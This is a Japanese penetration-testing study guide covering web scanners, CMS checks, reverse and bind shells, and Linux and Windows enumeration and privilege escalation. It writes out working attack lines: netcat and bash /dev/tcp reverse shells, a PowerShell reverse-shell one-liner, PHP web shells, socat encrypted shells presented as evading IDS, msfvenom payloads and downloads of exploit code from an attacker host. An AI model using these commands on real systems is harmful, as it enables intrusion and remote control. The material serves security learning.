数字説明使用理由
1Web サーバーによって提供されるリダイレクトを表示Web サーバーは私たちを特定のファイルまたはディレクトリに再配置したい場合があるため、これに応じてスキャンを調整する必要がある
2受信した Cookie を表示するアプリケーションは多くの場合、データを保存する手段として Cookie を使用する。たとえば、Web サーバーはセッションを使用し、電子商取引サイトでは商品を Cookie としてバスケットに保存することがあります。資格情報は Cookie に保存することもできます。
3エラーがあれば出力するこれは、スキャンで期待した結果が返されない場合のデバッグに役立つ

脆弱性検索のためのスキャンの調整

-Tuning [数字]オプションでテストするスキャンを指定できる。

種別名説明数字
ファイルのアップロードファイルのアップロードを許可するものを Web サーバー上で検索する。アプリケーションを実行するためのリバースシェルをアップロードするために使用できる。0
設定ミス/デフォルトファイルWeb サーバー上で機密性の高い (構成ファイルなどアクセスできない) 共通ファイルを検索する。2
情報開示Web サーバーまたはアプリケーションに関する情報 (つまり、バージョン番号、HTTPヘッダー、または後で攻撃に利用するのに役立つ可能性のある情報) を収集する。3
注射XSSや HTML などの何らかのインジェクション攻撃を実行できる可能性のある場所を検索する。4
コマンドの実行OSコマンドの実行 (シェルの生成など)を許可するものを検索する。8
SQLインジェクションSQLインジェクション に対して脆弱な URL パラメータを持つアプリケーションを探す9

3.13.3. Wig

WigはCMSやその他の管理アプリケーションを識別できるWeb アプリケーション情報収集ツール

なお現行(2024年現在)はWappalyzerなどを使用する方が検出が速い。

wig は、「server」ヘッダーと「x-powered-by」ヘッダーに基づいてサーバー上のOSを推測しようとする。さまざまなOSの既知のヘッダー値を含むデータベースがWigに含まれているため、Wigは Microsoft Windows のバージョンと Linux のディストリビューションとバージョンを推測できる。

wig <IPアドレス>

3.13.4. Skipfish

SkipfishはGoogleにより開発されたWebアプリケーション情報収集ツール。
高速な脆弱性スキャンを行うことができる。

基本的な使い方

# 使い方1
skipfish -o <レポート保管先> <対象URL>
# 使い方2
skipfish -W <キーワード辞書の保存先ファイル> -o <レポートの出力先ディレクトリ> <クロールを開始するURL> [<クロールを開始するURL2> ...]

3.13.5. Wapiti

WapitiはCUIベースのWeb脆弱性スキャナーで、データベースインジェクションやXSS、XXEインジェクションなどを検索できる。

基本的な使い方

# モジュール一覧表示
wapiti --list-modules
# スキャンの実行
wapiti -u <URL | IPアドレス> -o <出力ファイル名> -f html

3.13.7. 各CMSにおける確認事項

Wordpress

Wordpressにて確認すべきパスとファイルは以下の通り

# ===============================
# WordPressのバージョン確認
/license.txt

# ログインページ
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php

# データベースのパスワードあり
wp-config.php

# ===============================
# ユーザの列挙
/?author=<数字>

/wp-json/wp/v2/users

またNSEによるユーザ列挙は以下のコマンドで可能。

nmap -p 80 --script http-wordpress-users <IPアドレス>

Drupal

/CHANGELOG.txt

DroopescanによるDrupalのスキャン

# インストール
pip3 install droopescan

# スキャン
droopescan scan drupal -u http://10.10.10.1 -t [スレッド数]

PhpMyAdmin

MySQLサーバをWebブラウザで管理するためのデータベース接続ツール。

Joomla

JoomScanによるJoomlaのスキャン。

sudo joomscan -u <URL>

なおスキャン結果は/usr/share/joomscan/に保存される。

8.4 - 4.システムの侵入と権限昇格

権限昇格やリバースシェル/NetCat,Socatなど

4.1. 権限昇格

4.1.1. 権限昇格とは

権限昇格は権限の低いアカウントから権限の高いアカウントに移行することを指す。
ペネトレーションテストではOSやアプリケーションの脆弱性、設計上の欠陥、または設定の見落としを悪用してユーザーからのアクセスが制限されているリソースへの不正アクセスを取得することが目的となる。

権限昇格によりシステム管理者レベルのアクセス権が得られ、次のようなアクションを実行できるようになる。

  • パスワードのリセット
  • アクセス権のバイパスによりデータを侵害する
  • 永続化の有効化
  • 既存ユーザ権限の変更
  • 任意の管理者コマンドの実行

4.2. シェル

4.2.1. シェルとは

シェルはコマンドライン環境(CLI)とやり取りするときに使用するもの。 Linux の一般的な bash または sh プログラムは、Windows の cmd.exe や Powershell と同様、シェルの例といえる。

リモートシステムをターゲットにした場合、サーバー (Webサーバなど) 上で実行されているアプリケーションに任意のコードを強制的に実行させることができる場合がある。これが発生する場合、この初期アクセスを使用して、ターゲット上で実行されているシェルを取得しようとペネトレーションテストの側面では考える。

4.2.2. シェルの分類

ログインシェルと非ログインシェル

ログインシェルはユーザがシステムにログインする際に起動するシェル
以下のような特徴がある。

  • ログイン認証後に開始する
  • SSHログイン時/su -コマンドでrootへの切り替え/sudo -iコマンド実行時に起動する
  • 環境変数ファイル(.bash_profile.profile)を読み込む、シェル設定を初期化する
  • /etc/shellsファイルに記載されたものがログインシェルになれる

非ログインシェルはユーザがログインしなくても起動できるシェル
以下のようなものが非ログインシェルとなる。

  • Terminalなどのシェル
  • シェルスクリプト通常実行時/bash -cを実行したとき
  • ログインシェルと異なる環境設定(.bashrc)などを読み込む
  • サブシェルやスクリプト実行に適している

なおログインシェルの見分け方はshopt login_shellコマンドの実行(確実な方法)、echo $0コマンドで-の有無(ありでログインシェル)により判定できる。

対話的シェルと非対話的シェル

シェル説明
対話的シェルユーザがリアルタイム入力に対し、シェルが結果を表示する
非対話型シェルスクリプト実行、パイプライン処理、Cronジョブ、バックグラウンドプロセス処理で使用される

対話型/非対話型シェルの識別方法は以下の方法がある。

  • 特殊変数$-の確認(echo $-)
  • シェル変数PS1の確認(echo PS1)

4.2.3. シェルを利用するためのツール

リバースシェルの受信とバインドシェルの送信に使用するためのツールには以下のようなものがある。

Netcat

NetcatはTCPもしくはUDP接続などを利用して、コマンドラインからデータを送受信するためのツール
シェルで言うと、リバースシェルを受信し、ターゲットシステム上のバインドシェルに接続されたリモートポートに接続するために使用できる。

nc <オプション> <IPアドレス> <ポート>

Socat

Netcatの強化版ツール。Netcatより優れた機能を持つ。

Metasploitの multi/handler モジュール

Metasploitのmulti/handlerモジュールは socat や netcat と同様に、リバース シェルを受信するために使用できる。

Msfvenom

MsfvenomはMetasploitに含まれる機能でペイロードを生成するために使用できるツール。
msfvenom はリバース シェルやバインド シェルなどのペイロードも生成できる。

4.3. シェルの種類

大まかにターゲットの悪用に関してシェルを考えた場合リバースシェルバインドシェルという2種類のシェルに分けられる。
これらは攻撃機とターゲットのどちらが通信を待ち受けしているかが異なる

なおリバースシェルとバインドシェルともに非対話式のシェルになるため、対話型のようにコマンド結果を出力しない

4.3.1. リバースシェル

リバースシェルはリモートホストに接続しに行く通常の通信とは異なる、リモートサーバ(ターゲット)からシェルを渡しに来る通信方法のこと。
通常はクライアント側から通信を要求しアクションをサーバに要求するが、リバースシェルではクライアント側にアクションをするように仕向けさせることでサーバへシェルの実行を要求することができる。

接続の際は、自らの接続元で任意のポートをlistenしリモートサーバがアクセスしに来る形を取るため、リモートサーバ側のファイアウォールで設定されているINPUT通信制御に関係なく接続可能

ncコマンドを利用したリバースシェル

攻撃機からシェルを打てるようにncコマンドを用いてシェルを待ち受ける設定例である。
攻撃マシンでリッスンし、ターゲットから接続の待ち受けを送信しているのが特徴となる。

  1. 攻撃機で以下のように待ち受ける
    • sudo nc -lvnp 443
  2. ターゲットで以下のようにシェルを打つ
    • nc <IPアドレス> <ポート> -e /bin/bash
    • nc <IPアドレス> <ポート> -c bash
  3. 攻撃機でターゲットのユーザでシェルを打てるようになる

bashコマンドを利用したリバースシェル

攻撃機からシェルを打てるようにbashコマンドを用いてシェルを待ち受ける設定例である。

  1. 攻撃機で以下のように待ち受ける
    • sudo nc -lvnp 4444
  2. ターゲットで以下のようにシェルを打つ(以下のどちらか)
    • bash -c "bash -i >& /dev/tcp/<IPアドレス>/4444 0>&1"
    • bash -c 'exec bash -i &> /dev/tcp/<IPアドレス>/4444 <&1'
  3. 攻撃機でターゲットのユーザでシェルを打てるようになる

PHPのリバースシェル

PHPにおけるリバースシェルの例は以下の通り。

# WEBリバースシェル(.php)
# クエリパラメータは?cmd=hogehoge
<?php echo system($_REQUEST ["cmd"]); ?>
<?php echo(system($_GET["cmd"])); ?>

4.3.2. バインドシェル

バインドシェルはターゲットのシステムで特定のポートをオープンして待機し攻撃者がそのポートに接続したときにシェルを提供する通信方法のこと。 簡単に言うと攻撃端末側からターゲット端末に接続し遠隔操作を行うもの
シェルにアタッチされたlistenerをターゲット上で直接開始する特徴がある。

バインドシェルはターゲットの通信経路中のファイヤーウォールやルータにブロックされやすい。

ncコマンドを利用したバインドシェル

攻撃機からシェルを打てるようにncコマンドを用いてシェルを待ち受ける設定例である。
ターゲットで接続をリッスンし、攻撃マシンからターゲットに接続しているのが特徴となる。

なおターゲットがWindowsの場合の例である。

  1. ターゲットで以下のように待ち受ける
    • nc -lvnp <ポート> -e "cmd.exe"
  2. ターゲットで以下のようにシェルを打つ
    • nc <IPアドレス> <ポート>
  3. 攻撃機でターゲットのユーザでシェルを打てるようになる

4.3. NetCatを利用したシェル

4.3.1. NetCatによるリバースシェルとバインドシェル

リバースシェル

LinuxでNetcat Listenerを開始するコマンドは以下の通り。

nc -lvnp <ポート番号>
  • -l … Listener宣言
  • -v … 詳細な出力
  • -n … netcat にホスト名を解決したり、DNSを使用したりしないようにする
  • -p … ポート指定が続くことを示す

ポート番号は使用しているサービスがかぶっていない番号で使用可能で、またターゲット上の送信ファイアウォールルールを通過する可能性が高いため、既知のポート番号 (80、443、または 53 が適切な選択) を使用するのが良い。

バインドシェル

ターゲット上でバインドシェルを取得しようとしている場合は、ターゲットの選択したポート上ですでにリスナーが待機していると想定される。
そのため以下コマンドで接続を行う。

nc <IPアドレス> <ポート>

4.3.2. Netcatにおけるシェルの安定化

Netcatによるシェルはデフォルトでは非常に不安定となる。
これはCtrl + C を押すとすべてが強制終了されるためである。

Linuxシステム上で netcat シェルを安定させる方法には以下のテクニックがある。

Pythonによる安定化

以下の手順により安定化できる。

  1. nc -lvnp <ポート番号>で接続する
  2. pythonN -c 'import pty;pty.spawn("/bin/bash")'(Nはバージョン)によりbash生成を宣言する
  3. export TERM=xtermを入力しclearなどシェルと対話できるようにする
  4. Ctrl + Zを押してシェルをバックグラウンドにする
  5. stty raw -echo; fgでターミナルに戻る

なお、シェルが終了すると自分のターミナルの入力が表示されなくなるためresetと入力してEnter キーを押すことで解決できる。

rlwrapによる安定化

rlwrapはシェルを受信するとすぐに履歴、タブのオートコンプリート、および矢印キーにアクセスできるようにするプログラムのこと。
rlwrap を使用するには、少し異なるリスナーを呼び出す。

rlwrap nc -lvnp <ポート番号>
# または
rlwrap -c -pCyan nc -lvnp <ポート番号>

Linuxターゲットを扱う場合Pythonによる安定化と同じ仕組みを使用して、完全に安定化することができます。
Ctrl + Zを使用してシェルをバックグラウンドにし、stty raw -echo; fgを入力して安定化してシェルに再度入るために使用できる。

具体的手順は以下の通り。

  1. 攻撃端末の待ち受け側でrlwrap -c -pCyan nc -lvnp <ポート番号>を実行
  2. ターゲット端末でnc <IPアドレス> <ポート番号> -e /bin/bashを実行
  3. 攻撃端末でpython -c 'import pty; pty.spawn("/bin/sh")'によりTTYシェルを奪取する

4.5. SoCatを利用したシェル

4.5.1. SoCatによるリバースシェルとバインドシェル

リバースシェル

以下のコマンドはnetcatのnc -lvnp <ポート番号>と同等のコマンドとなる。

socat TCP-L:<ポート番号> -

# Linuxのみ使える安定板
socat TCP-L:<ポート番号> FILE:`tty`,raw,echo=0
# Windowsの場合
socat TCP:<ローカルIP>:<ポート番号> EXEC:powershell.exe,pipes
# Linuxの場合
socat TCP:<ローカルIP>:<ポート番号> EXEC:"bash -li"

バインドシェル

# Linuxの場合
socat TCP-L:<ポート番号> EXEC:"bash -li"
# Windowsの場合
socat TCP-L:<ポート番号> EXEC:powershell.exe,pipes

# 攻撃側のマシンで待機中のリスナーに接続
socat TCP:<ターゲットのIP>:<ポート番号> -

4.5.2. SoCatの暗号化シェル

socat の優れた点の 1 つは、暗号化されたシェル (バインドとリバースの両方) を作成できることにある。
これは暗号化されたシェルは復号キーを持っていない限り復号することができず、その結果として多くの場合IDSを通過できるためである。

リバースシェルにおける暗号化シェルの作成例

手順は以下の通り。

  1. 証明書を生成する
    • openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
  2. 公開鍵と秘密鍵を1つのファイルにマージする
    • cat shell.key shell.crt > shell.pem
  3. リバースシェルリスナーを設定する
    • socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
  4. 再度接続する場合はsocat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bashで可能

バインドシェルにおける暗号化シェルの作成例

なお証明書はリスナーで使用する必要があるため、バインド シェル用に PEM ファイルをターゲット側にコピーする必要がある。

# ターゲット
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
# 攻撃機
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

4.5.3. 通常のシェルペイロード

リバースシェルのペイロードを含むサイトはコチラから。

Netcatによるシェルペイロード

# バインドシェルの場合
nc -lvnp <ポート> -e /bin/bash
# リバースシェルの場合
nc <ローカルIP> <ポート> -e /bin/bash

バインドシェルリスナーの生成

mkfifo /tmp/f; nc -lvnp <ポート> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

WindowsServerの場合のPowershellリバースシェル

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('[IPアドレス]',[ポート番号]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

4.6. Metasploitを利用したシェル

4.6.1. Msfvenom

MsfvenomはMetsaploitの中でもリバースシェルとバインドシェルのコードを生成するために使用されるモジュール
バッファオーバーフローエクスプロイトのようなものを開発するときの 16 進数のシェルコードを生成するような低レイヤレベルのエクスプロイト開発で広く使用される。

ペイロードは<OS>/<アーキテクチャ>/<ペイロード>に従い命名する

msfvenomの基本コマンド

msfvenom -p <ペイロード> <オプション>

例としてWindows x64 リバースシェルを exe 形式で生成する場合のコマンドは以下の通り。

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<待ち受けIPアドレス> LPORT=<待ち受けポート番号>

ステージペイロード/ステージレスペイロード

リバースシェルペイロードにはステージペイロードステージレスペイロードの2つがある

  • ステージペイロード * ペイロードは 2 つの部分に分けて送信される(1つ目はステージャと呼ばれるサーバー自体で直接実行されるコード) * ステージャ自体にはリバースシェルは含まれない * ステージャはリスナーに接続し、その接続を使用し実際のペイロードをロード/直接実行して、従来のウイルス対策ソリューションでキャッチされる可能性のあるディスクにアクセスするのを防ぐ
  • ステージレスペイロード * 自己完結型の1つのペイロードでオーソドックスなもの * 実行されると待機中のリスナーにすぐにシェルを送り返すコードが 1 つあるのみとなる * サイズが大きいためウイルス対策プログラムや侵入検知プログラムが検出して削除されやすい

msfvenomペイロードの検索方法

msfvenom --list payloads | grep "単語"

4.6.2. Metaploit Multi/Handler

Multi/Handlerはリバースシェルをキャッチするためのツール
このツールはMeterpreterシェルを使用する場合に必要であり、ステージングされたペイロードを使用する場合に役に立つ

起動方法

  1. msfconsole
  2. use multi/handerでEnter

使用方法

  • optionsコマンドで使用できるオプションを確認できる
  • set PAYLOAD <payload>でペイロードの設定
  • set LHOST <待ち受けアドレス>でリスニングアドレスの設定
  • set LPORT <listen-port>でリスニングポートの設定

上記で設定したらexploit -jにより実行。 sessions <番号>でフォアグラウンドで実行する。

4.7. Webシェル

Webシェルはリバースシェルやバインドシェルをアクティブにするコードをアップロードすることができないときに使用されるシェル。

4.7.1. Webシェルとは

WebシェルはWebサーバで実行されサーバ上でコードを実行するスクリプトを表す。

基本的に、コマンドはHTMLフォーム経由、またはURL 内の引数として直接Webページに入力/実行され、結果が返されてページに書き込まれることになる。

4.7.2. php-reverse-shell

Penntestmonkeyが開発したWebのリバースシェルのコード。 kaliの場合、/usr/share/webshells/php/php-reverse-shell.phpに保存されている。

利用方法

  1. 以下手順の実施
# 対象のフォルダーにコピー
cp /usr/share/webshells/php/php-reverse-shell.php revshell.php
# 編集
vi revshell.php
  1. 編集の以下の部分を変更する。
$ ip = '127.0.0.1'; // これを変える
$ port = 4444; // これを変える
  1. netcatで待ち受ける。
nc -lvnp 4444
  1. 何らかの方法でこのペイロードをサーバにアップロードして駆動する

4.7.2. 各サーバサイドにおけるリバースシェル

PHPの場合

下記コードは URL 内の GET パラメータを取得/使用してシステム上でコードを実行するものとなる。

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

上記の場合URLのクエリパラメータに?cmd=<コマンド>を渡すことでページ結果が表示される。

4.8. エクスプロイトのアップロード

4.8.1. ローカルにWEBサーバを立ててアップロードする

Exploit DBのペイロードをターゲットにアップロードして実行する方法である。

# 以下コマンドで攻撃機にWEBサーバを立てる
python3 -m http.server [ポート番号]

# ターゲットのシェルからコードを/tmpにダウンロードする
wget http://[攻撃機のIP]:[ポート番号]/[エクスプロイトコード] -P /tmp/

8.5 - 5.Linuxの侵入と権限昇格

Linuxシステムに対する侵入する際のポイント

5.1. Linuxシステムの列挙

列挙はシステムにアクセスした後に実行する必要がある最初の作業となる。

脆弱性を悪用してシステムにアクセスし、その結果 root レベルのアクセスが行われたか、低い特権アカウントを使用してコマンドを送信する方法を見つける可能性がある。
列挙は侵害前と同様に侵害後のフェーズでも重要となる。

5.1.1. マシンに関する情報の列挙

Linuxマシンに関する情報の列挙に役立つコマンド/ファイルなどを記載する。

hostnameコマンド

ターゲットマシンのホスト名を表示するコマンド。
企業ネットワーク内でのマシンの場合、ホスト名にターゲットシステムの役割に関する情報が含まれている場合がある。

hostname

uname -aコマンド

システム情報を出力して、システムで使用されているカーネルに関する追加の詳細を表示するコマンド。
特権昇格につながる可能性のあるカーネルの潜在的な脆弱性を検索するときに役立つ。

uname -a

cat /etc/*-releaseコマンド

cat /etc/*-release

/etc/hostsファイル

ネットワーク上のホスト名とIPアドレスの対応関係を定義するファイル。
このファイルにはローカルネットワーク内のコンピューター名やドメイン名とそれに対応するIPアドレスがリストされている。

/proc/versionファイル

ターゲットシステムのプロセスに関する情報が記載されているファイル。
カーネルのバージョンに関する情報や、コンパイラ (GCC など) がインストールされているかどうかなどの追加データが得られる場合がある。

cat /proc/version

/proc/self/environファイル

環境変数一覧が格納されたファイル。

/etc/issueファイル

システムを識別することができるファイル。

cat /etc/issue

パッケージファイルの確認

# Debian系
rpm -qa
dpkg -l

定期実行(cron)の確認

crontab -l
ls -la /etc/cron*
ls -la /var/spool/cron/*

一時ファイルの確認

cd /tmp
cd /dev/shm
cd /var/tmp

psコマンド

Linux システム上で実行中のプロセスを確認できるコマンド。

# 実行中のプロセスを確認できる
ps
# 全てのプロセスを表示
ps -A
# プロセスツリーの表示
ps axjf
# すべてのユーザーのプロセスが表示
ps aux

envコマンド

環境変数を表示するコマンド。
PATH 変数には、ターゲットシステム上でコードを実行したり、特権昇格に利用したりするために使用できるコンパイラまたはスクリプト言語が含まれる場合がある。

env

sudo -lコマンド

ユーザーがsudoを使用して実行できるすべてのコマンドをリストできるコマンド。

sudo -l

idコマンド

ユーザーの特権レベルとグループ メンバーシップの概要を表示するコマンド。

id <ユーザ名>

/etc/passwdファイル

システム上のユーザを発見できる。

cat /etc/passwd

historyコマンド

コマンド履歴を確認できるコマンド。

history

ifconfigコマンド

システムのネットワークインターフェイスに関する情報が取得できるコマンド。
別のネットワークへのアクセスヒントになりえる。

ifconfig

ip routeコマンド

ネットワークルートが存在するかを確認できるコマンド。

ip route

netstatコマンド

# 全てのリスニングポートと接続の確立の表示
netstat -a
# 上記をTCP/UDPで分けて表示
netstat -at
netstat -au
# リスニングモードのポートを表示(待ち受け)
netstat -l

# ネットワーク賞の統計表示
netstat -s/-t
# サービス名/PIDを含むリスト表示
netstat -tpl
# インターフェースの統計情報を表示
netstat -i

ssコマンド

# 全てのリスニングポートと接続の確立の表示
ss -a

# TCP/UDPで分けて表示
# TCP
ss -at
# UDP
ss -au

# リスニングモードのポートを表示 (待ち受け)
ss -l

# TCPリスニングポートのみ
ss -lt
# UDPリスニングポートのみ
ss -lu

# ネットワーク層の統計表示
ss -s

# サービス名/PIDを含むリスト表示
ss -tpl

# インターフェースの統計情報を表示
ip -s link

findコマンド

ファイルを絞り込み表示/検索できるコマンド。

find [場所] -name [名称]

find / -type d -name [ディレクトリ名]

find / -type f -perm 0777 # 全ユーザが読み取り、書き込み、実行可能なファイルを検索

find / -perm a=x # 実行可能ファイルの検索

find /home -user frank # ユーザー「frank」のすべてのファイルを「/home」の下で検索
find / -mtime 10 # 過去 10 日間に変更されたファイルを検索
find / -atime 10 # 過去 10 日間にアクセスされたファイルを検索
find / -cmin -60 # 過去 1 時間 (60 分) 以内に変更されたファイルを検索
find / -amin -60 # 過去 1 時間 (60 分) 以内にアクセスしたファイルを検索
find / -size 50M # サイズが 50 MB のファイルを検索

# 誰でも書き込み可能なフォルダーを検索
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null

# SUID ビット(ファイル所有者権限を引き継いで実行するパーミッション)を持つファイルを検索
# これにより、現在のユーザーよりも高い特権レベルでファイルを実行できるようになる
find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f -user root 2>/dev/null

その他コマンド

# 現在のユーザグループ表示
groups
# バイナリファイルや非表示文字列を含むファイルから可読なテキスト(ASCIIまたはUnicode文字列)を抽出
strings <ファイル>
# バイナリファイル(.bin)を16進数形式(HEXダンプ)に変換
xxd <バイナリファイル>  # バイナリファイルを16進数で表示
xxd -p <バイナリファイル>  # 簡潔な16進数表示
xxd -r <ヘクサナリファイル> > <バイナリファイル>  # HEXダンプをバイナリに戻す

5.1.2. システム設定不備の調査

SUID(SGID)

SUID(ファイルの所有者権限で操作可能パーミッション)が設定されているか確認。 ユーザにsがついていればSUID、グループにsがついていればSGIDとなる。

$ls -l /usr/bin/cron
-rwsr-xr-x 1 root root 14720 Apr 22 2023 /usr/bin/cron

5.1.3. Linux向け自動列挙ツール

ツールを使用すると、列挙プロセスの時間を節約できる。
ただし、これらのツールは、一部の権限昇格ベクトルを見逃す可能性がある。

5.2. Linuxシステムのシェル奪取

5.2.1. 各ケースにおけるシェルの奪取

shellコマンド

通常の実行権限が奪える場合がある。 なお、対話文字は表示されない。

shell

対話的シェルの奪取

以下手順で対話的シェルを奪取できる。

which python
/usr/bin/bash
python -c 'import pty; pty.spawn("/bin/bash")'

以下でも可能。

/bin/bash -i

5.3. Linuxシステムの権限昇格

5.3.1. Linuxシステムのローカル権限昇格

Linuxのローカル権限昇格に関してはGTFObinsのサイトが有用となる。

5.3.2. linpeas.sh(Linux Privilege Escalation Awesome Scripts)

linpeas.shはLinuxシステム上で権限昇格の可能性を検出するための自動スクリプト
このスクリプトを使うと、システム内の潜在的な脆弱性や誤設定をチェックすることができる。

https://github.com/peass-ng/PEASS-ng

sudo apt install peass

使い方

# linpeas.shがあるフォルダに移動
cd /usr/share/peass/linpeas
# httpサーバを立てる
python3 -m http.server 5000

# ターゲット端末でダウンロード
wget [攻撃端末のIPアドレス]:5000/linpeas.sh
# 実行権限付与
chmod +x linpeas.sh
# 実行と結果の保存
./linpeas.sh | tee linpeas_output.txt

8.6 - 6.Windowsの侵入と権限昇格

Windowsシステムに対する侵入する際のポイント

6.1. Windowsシステムの列挙

6.1.1. マシンに関する情報の列挙

systeminfoコマンド

システム情報の表示。

systeminfo

tasklist /svcコマンド

起動しているプロセスのすべてのサービスを一覧表示。

tasklist /svc

sc queryコマンド

サービスの状態表示。

sc query <サービス名>

各種列挙コマンド

# 権限の確認
whoami /priv
# ユーザアカウント一覧表示
net user
# ユーザグループ一覧表示
net localgroup

6.1.2. システム設定不備の調査

「常にシステム特権でインストールする」設定が有効か確認する

# レジスタを確認
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCV\Software\Policies\Microsoft\Windows\Installer

パーミッションの設定確認

sc queryコマンドを駆使して、BINARY_PATH_NAMEの書き換え権限を調査し、権限昇格を狙える。

# 実行中サービス表示
sc query
# サービス名のみを取得
sc query | findstr /B SERVICE_NAME
# サービスの詳細を確認
sc query <サービス名>

6.1.3. Windowsの特性

Unquoted Path

Windowsではパスが指定されるとき、パスにスペースが含まれている場合、クォートで区切らないと、各スペースを区切りとして実行ファイルを順に探す性質がある。

例:) C:\Program Files\Example Prog\Common Program\exploit.exeがクォートを使用せずに指定される場合。

以下順序で実行できるかWindowsは試行する。

  1. C:\Program.exe
  2. C:\Program Files\Example.exe
  3. C:\Program Files\Example Prog\Common.exe
  4. C:\Program Files\Example Prog\Common Program\exploit.exe

これはExample.exeやCommon.exeを階層に配置できればSYSTEM権限で実行させることができることを示す

Windowsのパスワード

Windowsのパスワードは以下2種類で構成される。
ハッシュはWCEmimikatzpwdumpで解析可能。
現在はkeroberos認証が推奨されている。

  • 格納場所

    • SAMデータベース: C:\Windows\System32\config\SAM
    • LSASSプロセス
    • AD DSデータベース: NTDS.dit
    • 資格情報マネージャストア
  • NTLMハッシュ

    • 使用時期
      • Windows NT以降
    • アルゴリズム
      • Unicode(UTF-16),Saltなし,大文字小文字区別あり
      • MD4でハッシュ化(SHA-256より脆弱)
      • 生成されるNTLMハッシュは16Byte
  • LMハッシュ

    • 使用時期
      • Windows NT以前(Windows 95/98など)およびWindows NT 4.0
    • アルゴリズム
      • ASCII,Salitなし
      • パスワード長は14文字まで(14文字未満の場合はゼロパディング)
      • 小文字を大文字に変換する
      • パスワードを7文字ずつ分割後、KGS!@#$%という定数文字列を使用しDESで暗号化
      • 得られた2つの文字列を連結しLMハッシュを生成
    • 攻撃に対して非常に脆弱
      • レインボーテーブル攻撃に非常に弱い
      • 短いパスワードの分割攻撃が可能
  • Metasploitによるパスワードハッシュ取得

    • metapreter>hash dump
    • metapreter>run hashdump

6.1.4. Windows向け自動列挙ツール

ツールを使用すると、列挙プロセスの時間を節約できる。
ただし、これらのツールは、一部の権限昇格ベクトルを見逃す可能性がある。

6.2. Windowsシステムのシェル剥奪

6.3. Windowsシステムの権限昇格

6.3.1. Windowsシステムのローカル権限昇格

Windowsのローカル権限昇格に関してはLOLBASのサイトが有用となる。

8.7 - 7.脆弱性の調査

脆弱性の調べ方およびMetaSploitに関して

7.1. 脆弱性の基礎知識

7.1.1. 脆弱性とは

サイバーセキュリティにおける脆弱性はシステムやアプリケーションの設計、実装、動作における弱点や欠陥として定義されている。
攻撃者はこれらの弱点を悪用して、不正な情報にアクセスしたり、不正なアクションを実行したりする可能性がある。

「脆弱性」という用語はサイバーセキュリティ団体の数だけ定義があるが、NISTは脆弱性を「情報システム、システム セキュリティ手順、内部統制、または実装における脆弱性であり、脅威源によって悪用または引き起こされる可能性があるもの」と定義している。

脆弱性には5つの主要なカテゴリがある。

脆弱性の箇所説明
OSこの種の脆弱性はOS内で見つかり、多くの場合は権限昇格が発生する
設定ファイルの誤設定この種の脆弱性は正しく構成されていないアプリケーションまたはサービスに起因する
弱い認証情報/デフォルトの認証情報容易に推測できるログイン情報のサイトなどがこれにあたる
アプリケーションのロジックこれらの脆弱性はアプリケーションの設計が適切でなかったために発生する。認証メカニズムの不十分な実装など
人間の脆弱性人間の行動を悪用する脆弱性のこと。たとえばフィッシングメールなど

7.1.2. 脆弱性のスコアリング

脆弱性管理は組織が直面する脅威 (脆弱性) を評価、分類し、最終的に修復するプロセスといえる。
ネットワークやコンピュータシステムのすべての脆弱性にパッチを適用して修正することはおそらく不可能であり、場合によってはリソースの無駄になってしまう。

ある調査によると最終的に悪用されるのは脆弱性は全体のうち約2%だと言われている。
脆弱性の対処には最も危険な脆弱性に対処し、攻撃がシステムの悪用に使用される可能性を減らすことが重要となる。

脆弱性スコアリングは脆弱性管理において重要な役割を果たし、脆弱性がネットワークまたはコンピュータシステムに与える可能性のある潜在的なリスクと影響を判断するために使用される。

CVSS

CVSS(Common Vulnerability Scoring System)は2005年に導入された脆弱性スコアリングのための脆弱性評価システム。 CVSSにより脆弱性の深刻度を同一基準化で定量的に比較することが可能となっている。

評価基準は以下の3つある。

  • 基本評価基準 … 脆弱性時代の特性評価
  • 現状評価基準 … 上記に配布パッチの効果を含めた評価
  • 環境評価基準 … ユーザへの影響度を含めた評価

CVSSの算出はコチラを使用して行える

VPR

VPRは脆弱性管理におけるより最新のフレームワークで脆弱性管理の業界のプロバイダであるTenableにより開発された。 CVSSのように影響で脅威を測るのではなく、脆弱性が組織自体にもたらすリスクに重点を置いて脆弱性にスコアが与えられる

VPRはスコアリングにおいてもかなり動的であり、脆弱性がもたらすリスクは時間の経過とともにほぼ毎日変化する可能性がある。
なおVPRは商用プラットフォームの一部でのみ利用できる。

7.1.3. 脆弱性データベース

脆弱性を公開しているサービスやサイトには以下のようなものがある。

JVN / JVN iPedia

日本国内の脆弱性管理基盤。JPCERT/CTTとIPAが共同運営している。

https://jvn.jp/

NVD

NVD(全国脆弱性データベース)は公的に分類されたすべての脆弱性をリストする Web サイト。 CVE形式(CVE-[年]-[ID])で検索ができる。

https://nvd.nist.gov/

Exploit DB

Exploit-DBはペネトレーションテスタにとって評価の際に非常に役立つリソースで、Exploit-DB は、ソフトウェアやアプリケーションの名前、作成者、バージョンの下に保存されたソフトウェアやアプリケーションのエクスプロイトを提供する。

Exploit-DBを使用すると、特定の脆弱性を悪用するために使用されるコードのスニペット(PoC)を探すことができる

https://www.exploit-db.com/

7.2. 脆弱性の悪用

7.2.1. 脆弱性調査の方法

脆弱性の調査は手動でスキャンする方法と自動でスキャンする方法がある。
